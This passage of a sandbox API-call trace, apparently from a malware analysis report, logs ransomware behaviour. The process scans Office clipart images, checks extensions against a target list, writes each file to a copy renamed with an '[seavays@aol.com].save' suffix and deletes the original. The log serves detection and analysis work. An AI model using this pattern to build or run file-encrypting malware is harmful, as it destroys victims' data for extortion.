(lpString1=".bz2", lpString2=".WMF") returned -1 [0209.006] lstrlenW (lpString=".7z") returned 3 [0209.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.007] lstrlenW (lpString=".dbf") returned 4 [0209.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.007] lstrlenW (lpString=".1cd") returned 4 [0209.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0209.007] lstrlenW (lpString=".jpg") returned 4 [0209.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.007] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0209.007] lstrlenW (lpString="J0101865.BMP") returned 12 [0209.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.008] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=32184) returned 1 [0209.008] CloseHandle (hObject=0x380) returned 1 [0209.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0209.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.008] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.009] GetLastError () returned 0x0 [0209.009] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0209.011] WriteFile (in: hFile=0x33c, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0209.013] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.013] WriteFile (in: hFile=0x33c, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.014] SetEndOfFile (hFile=0x33c) returned 1 [0209.014] CloseHandle (hObject=0x33c) returned 1 [0209.014] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.014] SetEndOfFile (hFile=0x380) returned 1 [0209.015] CloseHandle (hObject=0x380) returned 1 [0209.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0209.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.017] lstrlenW (lpString=".doc") returned 4 [0209.017] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".docx") returned 5 [0209.017] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0209.017] lstrlenW (lpString=".pdf") returned 4 [0209.017] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".xls") returned 4 [0209.017] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".xlsx") returned 5 [0209.017] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0209.017] lstrlenW (lpString=".ppt") returned 4 [0209.017] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.017] lstrlenW (lpString=".zip") returned 4 [0209.017] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".rar") returned 4 [0209.017] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".bz2") returned 4 [0209.017] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.017] lstrlenW (lpString=".7z") returned 3 [0209.017] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.017] lstrlenW (lpString=".dbf") returned 4 [0209.018] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.018] lstrlenW (lpString=".1cd") returned 4 [0209.018] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.018] lstrlenW (lpString=".jpg") returned 4 [0209.018] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.018] lstrlenW (lpString=".doc") returned 4 [0209.018] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString=".docx") returned 5 [0209.018] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0209.018] lstrlenW (lpString=".pdf") returned 4 [0209.018] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString=".xls") returned 4 [0209.018] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString=".xlsx") returned 5 [0209.018] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0209.018] lstrlenW (lpString=".ppt") returned 4 [0209.018] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.018] lstrlenW (lpString=".zip") returned 4 [0209.018] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.018] lstrlenW (lpString=".rar") returned 4 [0209.019] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.019] lstrlenW (lpString=".bz2") returned 4 [0209.019] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.019] lstrlenW (lpString=".7z") returned 3 [0209.019] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.019] lstrlenW (lpString=".dbf") returned 4 [0209.019] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.019] lstrlenW (lpString=".1cd") returned 4 [0209.019] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0209.019] lstrlenW (lpString=".jpg") returned 4 [0209.019] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.019] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0209.019] lstrlenW (lpString="J0101866.BMP") returned 12 [0209.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.020] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=32184) returned 1 [0209.020] CloseHandle (hObject=0x380) returned 1 [0209.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0209.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.020] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.020] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.022] GetLastError () returned 0x0 [0209.022] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0209.023] WriteFile (in: hFile=0x33c, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0209.025] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.025] WriteFile (in: hFile=0x33c, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.026] SetEndOfFile (hFile=0x33c) returned 1 [0209.026] CloseHandle (hObject=0x33c) returned 1 [0209.026] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.026] SetEndOfFile (hFile=0x380) returned 1 [0209.027] CloseHandle (hObject=0x380) returned 1 [0209.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0209.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.028] lstrlenW (lpString=".doc") returned 4 [0209.028] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".docx") returned 5 [0209.028] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0209.028] lstrlenW (lpString=".pdf") returned 4 [0209.028] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".xls") returned 4 [0209.028] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".xlsx") returned 5 [0209.028] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0209.028] lstrlenW (lpString=".ppt") returned 4 [0209.028] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.028] lstrlenW (lpString=".zip") returned 4 [0209.028] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".rar") returned 4 [0209.028] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".bz2") returned 4 [0209.028] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString=".7z") returned 3 [0209.028] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.028] lstrlenW (lpString=".dbf") returned 4 [0209.028] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.028] lstrlenW (lpString=".1cd") returned 4 [0209.029] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.029] lstrlenW (lpString=".jpg") returned 4 [0209.029] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.029] lstrlenW (lpString=".doc") returned 4 [0209.029] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".docx") returned 5 [0209.029] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0209.029] lstrlenW (lpString=".pdf") returned 4 [0209.029] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".xls") returned 4 [0209.029] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".xlsx") returned 5 [0209.029] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0209.029] lstrlenW (lpString=".ppt") returned 4 [0209.029] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.029] lstrlenW (lpString=".zip") returned 4 [0209.029] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".rar") returned 4 [0209.029] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".bz2") returned 4 [0209.029] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.029] lstrlenW (lpString=".7z") returned 3 [0209.029] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.029] lstrlenW (lpString=".dbf") returned 4 [0209.029] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.030] lstrlenW (lpString=".1cd") returned 4 [0209.030] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0209.030] lstrlenW (lpString=".jpg") returned 4 [0209.030] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.030] lstrcmpiW (lpString1=".BMP", lpString2=".save") returned -1 [0209.030] lstrlenW (lpString="J0101867.BMP") returned 12 [0209.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.030] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=32616) returned 1 [0209.030] CloseHandle (hObject=0x380) returned 1 [0209.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220 [0209.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.031] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.031] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.468] GetLastError () returned 0x0 [0209.468] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x7f68, lpOverlapped=0x0) returned 1 [0209.475] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x7f70, lpOverlapped=0x0) returned 1 [0209.477] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.477] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.478] SetEndOfFile (hFile=0x3a0) returned 1 [0209.478] CloseHandle (hObject=0x3a0) returned 1 [0209.478] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.478] SetEndOfFile (hFile=0x380) returned 1 [0209.480] CloseHandle (hObject=0x380) returned 1 [0209.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0209.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.481] lstrlenW (lpString=".doc") returned 4 [0209.481] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.481] lstrlenW (lpString=".docx") returned 5 [0209.481] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0209.481] lstrlenW (lpString=".pdf") returned 4 [0209.481] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.481] lstrlenW (lpString=".xls") returned 4 [0209.481] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.481] lstrlenW (lpString=".xlsx") returned 5 [0209.481] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0209.481] lstrlenW (lpString=".ppt") returned 4 [0209.481] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.481] lstrlenW (lpString=".zip") returned 4 [0209.482] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString=".rar") returned 4 [0209.482] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString=".bz2") returned 4 [0209.482] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString=".7z") returned 3 [0209.482] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.482] lstrlenW (lpString=".dbf") returned 4 [0209.482] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.482] lstrlenW (lpString=".1cd") returned 4 [0209.482] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0209.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.482] lstrlenW (lpString=".jpg") returned 4 [0209.482] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.482] lstrlenW (lpString=".doc") returned 4 [0209.482] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0209.482] lstrlenW (lpString=".docx") returned 5 [0209.483] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0209.483] lstrlenW (lpString=".pdf") returned 4 [0209.483] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0209.483] lstrlenW (lpString=".xls") returned 4 [0209.483] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0209.483] lstrlenW (lpString=".xlsx") returned 5 [0209.483] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0209.483] lstrlenW (lpString=".ppt") returned 4 [0209.483] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0209.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.483] lstrlenW (lpString=".zip") returned 4 [0209.483] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0209.483] lstrlenW (lpString=".rar") returned 4 [0209.483] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0209.483] lstrlenW (lpString=".bz2") returned 4 [0209.483] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0209.484] lstrlenW (lpString=".7z") returned 3 [0209.484] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0209.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.484] lstrlenW (lpString=".dbf") returned 4 [0209.484] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0209.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0209.484] lstrlenW (lpString=".1cd") returned 4 [0209.484] lstrcmpiW (lpString1=".1cd", 